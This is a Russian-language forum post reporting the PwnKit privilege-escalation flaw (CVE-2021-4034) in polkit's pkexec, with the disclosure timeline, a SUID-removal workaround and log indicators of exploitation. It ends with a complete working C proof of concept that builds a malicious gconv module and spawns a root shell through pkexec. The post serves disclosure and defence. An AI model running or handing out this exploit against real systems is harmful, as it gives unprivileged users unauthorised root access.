Vander
Staff member
- Nov 10, 2019
- 468
- 1,158
Уязвимость, получившая название PwnKit, была введена более 12 лет назад (май 2009 г.) с момента первоначальной фиксации pkexec, это означает, что затронуты все версии.
Polkit (ранее PolicyKit) — это компонент, используемый для управления общесистемными привилегиями в Unix-подобных ОС. Это позволяет непривилегированным процессам взаимодействовать с привилегированными процессами. Polkit также позволяет выполнять команды с повышенными привилегиями, используя команду pkexec, за которой следует команда, предназначенная для выполнения (с правами суперпользователя).
Исследователи из исследовательской группы Qualys обнаружили уязвимость, приводящую к повреждению памяти, в корневой программе SUID polkit.
Исследовательская группа Qualys обнаружила уязвимость, приводящую к повреждению памяти, в pkexec polkit, корневой программе SUID, которая устанавливается по умолчанию во всех основных дистрибутивах Linux». говорится в сообщении, опубликованном Qualys. «Успешная эксплуатация этой уязвимости позволяет любому непривилегированному пользователю получить привилегии root на уязвимом хосте. Исследователи безопасности Qualys смогли независимо проверить наличие уязвимости, разработать эксплойт и получить полные привилегии суперпользователя при стандартных установках Ubuntu, Debian, Fedora и CentOS. Другие дистрибутивы Linux, вероятно, уязвимы и, возможно, могут быть использованы для взлома.
«Эта уязвимость — сбывшаяся мечта злоумышленника», — пояснил Qualys:
Pkexec установлен по умолчанию во всех основных дистрибутивах Linux (мы эксплуатировали Ubuntu, Debian, Fedora, CentOS и другие дистрибутивы, вероятно, также могут быть эксплойтными);
- Pkexec уязвим с момента его создания в мае 2009 года (commit c8c3d83, «Добавить команду pkexec(1)»);
- Любой непривилегированный локальный пользователь может использовать эту уязвимость для получения полных привилегий суперпользователя;
- Хотя технически эта уязвимость представляет собой повреждение памяти, ее можно использовать мгновенно, надежно и независимо от архитектуры;
- Его можно использовать, даже если сам демон polkit не запущен.
Bleeping Computer сообщил, что рабочий эксплойт был опубликован менее чем через три часа после того, как Qualys опубликовала технические подробности для PwnKit. BleepingComputer скомпилировал и протестировал доступный эксплойт, который оказался надежным, поскольку давал нам привилегии root в системе при всех попытках.
Ниже представлена хронология раскрытия уязвимости:
- 18.11.2021: уведомление отправлено по адресу secalert@redhat.
- 11 января 2022 г.: Рекомендации и исправление отправлены на адрес distros@openwall.
- 25.01.2022: согласованная дата выпуска (17:00 UTC).
Если для вашей операционной системы нет доступных исправлений, эксперты рекомендуют удалить SUID-бит из pkexec в качестве временной меры; Например:
Code:
# chmod 0755 /usr/bin/pkexec
Ожидается, что основные дистрибутивы Linux выпустят обновленные пакеты pkexec как можно скорее, некоторые из них уже сделали это на момент написания этой статьи.
Чтобы проверить наличие признаков эксплуатации, пользователи должны проверять журналы в поисках либо «Значение переменной SHELL не было найдено в файле /etc/shells», либо «Значение переменной среды […] содержит подозрительное содержимое». записи в журналах.
PoC:
Code:
/*
* Proof of Concept for PwnKit: Local Privilege Escalation Vulnerability Discovered in polkit’s pkexec (CVE-2021-4034) by Andris Raugulis <moo@arthepsy.eu>
* Advisory: https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char *shell =
"#include <stdio.h>\n"
"#include <stdlib.h>\n"
"#include <unistd.h>\n\n"
"void gconv() {}\n"
"void gconv_init() {\n"
" setuid(0); setgid(0);\n"
" seteuid(0); setegid(0);\n"
" system(\"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; rm -rf 'GCONV_PATH=.' 'pwnkit'; /bin/sh\");\n"
" exit(0);\n"
"}";
int main(int argc, char *argv[]) {
FILE *fp;
system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'");
system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules");
fp = fopen("pwnkit/pwnkit.c", "w");
fprintf(fp, "%s", shell);
fclose(fp);
system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC");
char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL };
execve("/usr/bin/pkexec", (char*[]){NULL}, env);
}
Github PoC:
Github PoC: